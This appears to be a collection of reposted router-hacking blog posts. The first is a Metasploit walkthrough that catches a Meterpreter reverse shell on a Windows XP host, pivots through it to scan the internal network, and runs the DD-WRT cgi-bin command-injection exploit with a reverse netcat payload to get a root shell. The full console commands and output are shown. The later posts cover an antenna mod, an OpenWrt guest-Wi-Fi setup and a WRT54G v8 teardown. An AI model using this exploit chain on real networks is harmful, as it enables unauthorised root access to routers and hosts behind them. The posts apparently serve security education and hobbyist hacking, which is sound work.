Metasploit now has in the 3.3 Dev SVN an exploit for embedded device Linux distribution DD-WRT. This exploit module abuses a metacharacter injection vulnerability in the  HTTP management server of wireless gateways running DD-WRT. This flaw allows an unauthenticated attacker to execute arbitrary commands as the root user account. It was argued that this exploit is of low impact by some since the distribution only listens for HTTP connections thru the internal interface. In this example of using the exploit the exploit will be used thru a pivot obtained thru a client side exploit from which we will pivot, do a discovery, finger print the device and exploit it.  In the following example we will start by showing our IP of the attacker machine, receiving the Meterpreter shell and showing the target box IP thru a cmd shell:

msf > ifconfig eth0
[*] exec: ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:0e:7f:f9:12:62  
          inet addr:192.168.1.158  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20e:7fff:fef9:1262/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:55461 errors:0 dropped:0 overruns:0 frame:0
          TX packets:23899 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:58889891 (58.8 MB)  TX bytes:3107063 (3.1 MB)
          Interrupt:20 
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.
msf exploit(handler) > 
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.100:1085)
msf exploit(handler) > session -i 1
[-] Unknown command: session.
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo 
Computer: AWINXP01
OS      : Windows XP (Build 2600, Service Pack 2).
meterpreter > execute -H -f -c -i -f cmd.exe
Process 1708 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\administrator\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 192.168.111.200
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.111.2
C:\Documents and Settings\administrator\Desktop>exit
meterpreter > 

Know we proceed to background this session and set a route thru the session to the network behind the NAT router from the information we gathered:

meterpreter > 
Background session 1? [y/N]  
msf exploit(handler) > 
msf exploit(handler) > route add 192.168.111.0 255.255.255.0 1
msf exploit(handler) > route print
Active Routing Table
====================
   Subnet             Netmask            Gateway    
   ------             -------            -------    
   192.168.111.0      255.255.255.0      Session 1  
msf exploit(handler) > 

Now that the route is created we can use the TCP Port Scanner Auxiliary Module to do a TCP scan of the default gateway of the target network:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp 
msf auxiliary(tcp) > info
       Name: TCP Port Scanner
    Version: 6823
    License: Metasploit Framework License (BSD)
Provided by:
  hdm <hdm@metasploit.com>
  kris katterjohn <katterjohn@gmail.com>
Basic options:
  Name     Current Setting  Required  Description                                  
  ----     ---------------  --------  -----------                                  
  PORTS    1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)        
  RHOSTS                    yes       The target address range or CIDR identifier  
  THREADS  1                yes       The number of concurrent threads             
  TIMEOUT  1000             yes       The socket connect timeout in milliseconds   
Description:
  Enumerate open TCP services
msf auxiliary(tcp) > set PORTS 22,23,80,443
PORTS => 22,23,80,443
msf auxiliary(tcp) > set RHOSTS 192.168.111.2
RHOSTS => 192.168.111.2
msf auxiliary(tcp) > run
[*]  TCP OPEN 192.168.111.2:22
[*]  TCP OPEN 192.168.111.2:23
[*]  TCP OPEN 192.168.111.2:80
[*] Auxiliary module execution completed
msf exploit(handler) >

Since we are going thru a Meterpreter TCP pivot is important to remember to keep the THREAD variable to 1 since Meterpreter is not multithreaded and limit the number of ports to those you want to target so as to not expend a large amount of time scanning. Now that the ports that are open we proceed to finger print one of the services by getting the banner using the connect command in Metasploit:

msf exploit(handler) > connect -c 1 192.168.111.2 23
[*] Connected to 192.168.111.2:23
DD-WRT v24 std (c) 2007 NewMedia-NET GmbH
Release: 01/26/07 (SVN revision: 5660M)
�
DD-WRTx86CI login: ^C
msf exploit(handler) > 
msf exploit(handler) > 

As we can see the Telnet login banner identifies the target machine as a DD-WRT box. We know proceed to load the exploit module and set a reverse netcat payload and set the other appropriate variables. Onece we have ran the exploit and a session is created we proceed to run the Linux uname command to check the version of the device and to also check the shell is working:

msf exploit(handler) > use exploit/linux/http/ddwrt_cgibin_exec 
msf exploit(ddwrt_cgibin_exec) > set PAYLOAD cmd/unix/reverse_netcat 
PAYLOAD => cmd/unix/reverse_netcat
msf exploit(ddwrt_cgibin_exec) > set LPORT 2222
LPORT => 2222
msf exploit(ddwrt_cgibin_exec) > set RHOST 192.168.111.2
RHOST => 192.168.111.2
msf exploit(ddwrt_cgibin_exec) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(ddwrt_cgibin_exec) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Sending GET request with encoded command line...
[*] Command shell session 2 opened (192.168.1.158:2222 -> 192.168.1.100:4531)
uname -a
Linux DD-WRTx86CI 2.6.19.2dd-wrt #45 Fri Jan 26 06:28:01 CET 2007 i686 unknown

One advantage is that since the shell is running thru a Meterpreter session all traffic outside of the target network to the attackers box is encrypted using SSL.

For more information on this vulnerability please check the following links:

http://www.securityfocus.com/bid/35742
http://www.milw0rm.com/exploits/9209

[Note: This is the last re-post from the WRT54G Hacks web site, look for more hardware hacking and wireless fun coming soon!]

Over the past few months I've been contemplating a few projects for some WRTSL54GS routers with OpenWrt, however I really need these to have a high gain antenna on the WRTSL54GS. As you may recall, this model has a fixed antenna, with no option for adding one. I decided that I needed to fix that "design flaw".

Note: By adding various antennas to this device it may become possible to violate your local or federal regulations on output power. Be careful!

First off, we need to open the WRTSL54GS up. The screws are located under the rubber feet. Once apart, we need to de-solder the current, fixed antenna from the board. Follow the LMR cable from the antenna to the board, and de-solder both strands of the LMR from the board.

Once removed, the board should reveal two pads on which we need to solder our new connector.

Once de-soldered, we can remove the antenna from the case by pinching the end of the antenna on the inside of the connector. This will compress the size so that the outer locking ring will pass through the mount.

We need to make sure that we have an appropriate connector to attach a new antenna to. I happened to have scavenged parts from an old Linksys BEFSX series model. This old router had an internal PCMCIA card with two pigtails, one end with the standard RP-TNC antenna connector.

I removed the connector at the other end of the cable, as it is not important. I gave it a good pull, but certainly a pair of wire cutters will get the job done.

Strip the LMR cable back so that the inner and outer conductors are staggered. Match up the lengths that you need with the two pads to verify your length - the smaller inner conductor will be attached to the smaller pad on the board, while the outer conductor will be attached to the larger pad. Don't solder them together! This will create a short, and render your antenna inoperable, possibly even frying your router!

We also need to modify the case so that the external portion of the connector will fit through. My connector at the base was 3/4 of an inch, so I drilled a 3/4 inch hole into the edge of the case, right near the original connector.

Part of the selection of this location was so that it would still be at the top of the unit, and the board has a notch out of it at this location. The notch leaves a handy place to be able to fit the additional portion of the connector between the board and the edge of the case.

Once mounted, solder the LMR form our new connector to the board as described earlier. I utilized some electrical tape to maintain the bend in the LMR and to hold it down to the board. This allows me to have both hands free to solder!

Once complete we can reassemble our router and show off our new connector.

One of the nice features of using the RP-TNC connector is that we can reuse antennas from most of our other Linksys devices!

Have fun adding new antennas!

- Larry "haxorthematrix" Pesce

[Note: This is a re-post from the wrt54ghacks.com blog which has been intergrated into this blog. For an even more updated version of this hack see my article in (IN)Secure Magazine, Issue 17]

So, here is the scenario, you need a wireless network for guests, it has to be easily accessible (i.e. can't require a WPA supplicant) and be secure. This is a common problem, and one that is not-so-easily solved. For example, you may want a separate wireless network for training rooms, on-site visitors, consultants, or for just general guests to your organization. Guest such as these typically only require access to the Internet and nothing else. The nice part is, all this can be done for under $300 (on a small scale with two access points), and its all open-source! This is a great, cheap, fast, and easy way to handle guests that may be coming into your network. Of course, this is only the first step. In future parts we will show you how to add the security measures, such as captive portals, bandwidth shaping, intrusion detection, and firewalling. To get us started you will need:

• 2 Linksys WRT54GL Routers
• 2 Linksys POE Adapter - WAPPOE12 12V

• OpenWrt "Whiterussian" 0.9

Below are the step-by-step guidelines for getting the initial setup going:

Step 1 - Unbox and flash the routers. For the WRT54GL, you must use the web interface to put the initial OpenWrt image on them. (Question, why does Linksys not enable boot_wait by default?). Also, do not use the PoE adapters when flashing!

Step 2 - Change the IP address of the routers, enable boot_wait, and set the hostname:

nvram set lan_ipaddr="10.10.10.5"

nvram set boot_wait="on"

nvram set wan_hostname="myap1"

nvram set wan_proto="none"

nvram commit

Step 3 - Create a separate VLAN or physical network, preferably with a separate Internet connection. Put that APs on that subnet.

Step 4 - Harden and perfomance tune OpenWrt - Remove the packages that are not required:

ipkg update

ipkg remove ppp ppp-mod-ppoe webif haserl kmod-ppp kmod-pppoe

ipkg upgrade

Disable services not required:

cd /etc/init.d

mv S50httpd disabled_S50httpd

mv S50telnet disabled_S50telnet

Step 5 - Enable DHCP on each of the access points:

cat > /etc/init.d/S60dnsmasq

#! /bin/ash

/usr/sbin/dnsmasq &

CTRL-D

Now, remove the DHCP configuration from the /etc/dnsmasq.conf, and replace it with:

# enable dhcp (start,end,netmask,leasetime)

dhcp-authoritative

dhcp-range=10.10.10.100,10.10.10.150,255.255.255.0,12h

dhcp-leasefile=/tmp/dhcp.leases

# use /etc/ethers for static hosts; same format as --dhcp-host

#

read-ethers

# other useful options:

# Default Gateway

dhcp-option=3,10.10.10.1

# DNS Servers

dhcp-option=6,10.10.10.6,10.10.10.7

Step 6 - Reboot the WRT54GL, make sure all is well. Now, connect the POE adapaters and place the APs where you want them.

Step 7 - Configure Wireless - Place the access points on their respecitve channels using the command nvram set wl0_channel=1. Ideally, you could have 3 APs, one on channel 1, 6, and 11. Now, set all of the SSIDs to the same value using the command nvram set wl0_ssid="guestwireless. Finally be certain to run nvram commit to commit your changes, and /sbin/wifi so that the wireless system picks up the new values.

You should now be able to associate to the given SSID. Which access point you associate with will depend heavily on the wireless driver that you are using, and other factors that require too much math.

In Part II, we will show you how to implement a captive portal for guest authentication, and add additional layers of security such as intrusion detection and IP filtering.

Paul Asadoorian (Edits by Larry Pesce)

[Note: This was the original post to www.wrt54ghacks.com, with two more to follow! The blog hosted there has been merged with this site. All WRT54G hacking related posts can be found at http://pauldotcom.com/wrt54g/. All book material can still be accessed on the www.wrt54ghacks.com site. Please contact us if you have questions! psw /at/ pauldotcom.com]

Linksys has officially released the WRT54G version 8 here in the US, and Paul was able to find one at our local big box computer retailer. Of course the first thing that we did was to tear it apart and see what is inside, in typical hacker fashion. We've sucessfully voided the warranty without even pluging the darned thing in!

Without further ado: Inside the WRT54G version 8!

Before we get to the juicy bits, this version will be very easy to identify on the store shelves. Linksys has totaly redesigned the packaging:

The power supply has remained the same here in the US, with 12 volt output. Nothing to see here folks. The front panel also remains the same as the last few versions:

Before we even get this bad boy apart, we can see some very significant design changes. No more removable antennas! (we'll get to this more in a bit)

When we open up the case, we can immediately see that the board design looks different from some of the earlier versions. I'm not sure of how it stacks up to the version 7, as we've been unable to locate one locally. The front of the board looks different:

The reverse side of the board actually features some components, even if they are SMT resistors:

With some closer inspection, we may be drawn to the traces for the wireless antennas. It looks like the traces still exist for the removable connectors. Possibly for future board revisions, or a hold over from the v7 design:

Guess what! Those traces also contain, what looks like a U.FL antenna connector! Certainly we can find a pigtail online to convert to something we can use. Add a little de-soldering braid, and a soldering iron to that mix and we've got a removable antenna, at least on the primary connenctor. Looks like we'd also need to disable antenna diversity too. Here's a good look at the U.FL connector:

Further examination of the board reveals some more of the standard features we've come to expect. The first is the JTAG header:

There is also another set of headers, which would appear to be a single serial port. this remains unconfirmed by us at this point, but all signs point to yes: capability in the chipsets (the BRCM5354 spec sheet states that it has two UARTs available), and the proper pin count. Why only one port? Who knows, but I would bet that the other serial port could be found on the board, just not at a header. Here's a good look at the possible serial port:

The RAM installation seems to be fairly typical With a Samsung chip:

But wait! What's that you say? You read the Samsung chip documentation, and is says the chip is 64M? Well, sure! We still need to confirm that some open source firmware (say...OpenWrt) can take advantage of the additional RAM, if the extra RAM meets up to the documentation. All available reports state that this unit only has 8M!

Even more changes to the design for the version 8 is a diversion from the Intel based flash chip. Linksys has opted to drop the Intel brand for a company named Spansion, which is apparently a subsidiary of AMD. The new Spansion S29AL016D90TF chip is listed as being 16M, however other available documenation only lists flash as 2M! It looks as though the chip is modifiable to protect some sectors, limiting the amount usable memory sectors. Overall, this device may be quite nice for hacking, given the alleged 64M RAM and 8M of flash. Here's a good look at the the Spansion flash chip:

Again the Broadcom SoC has changed to the BCM5354KFBG, which operates at 240Mhz! This chipset contains all of the goodies: ethernet switch, main processor, and wireless processor. Here is a shot of the chip:

In combination with the wireless processor, the wireless power amp chipset can be located under the nice metal shielding, and is of the SiGe SE2528L RangeCharger variety, which is rated at 24dBm for 802.11b networks and 21dBm for 802.11g networks. Here is a look of this sneaky little animal:

In even more modifications, we have some additional changes related to the power conversion and regulation chipset. The main power conversion chip has remained the same with the AnaChip AP1513 which can take an input voltage of between 3.6 and 18 volts DC, in combination with the SK33B Schottky Rectifier, it utilizes a separate resistor to regulate maximum power output. While I have been unable to confirm, I'd suspect that like the board requirement has been capped at between 3.3 and 3.6 volts, the optimal voltage range for many of the other components. Here's a close-up of the chip combination:

While I thought that this new release would be very disappointing for my hacking pleasure, there are clearly a few questions that need answering in relation to RAM and Flash. The wireless antenna situation can apparently be rectified, and apparently reduced power requirements make alternate power sources very tempting.

We hope that you have enjoyed our willful voiding of our warranty for your viewing pleasure! Any questions, comments or updates are appreciated.

- Larry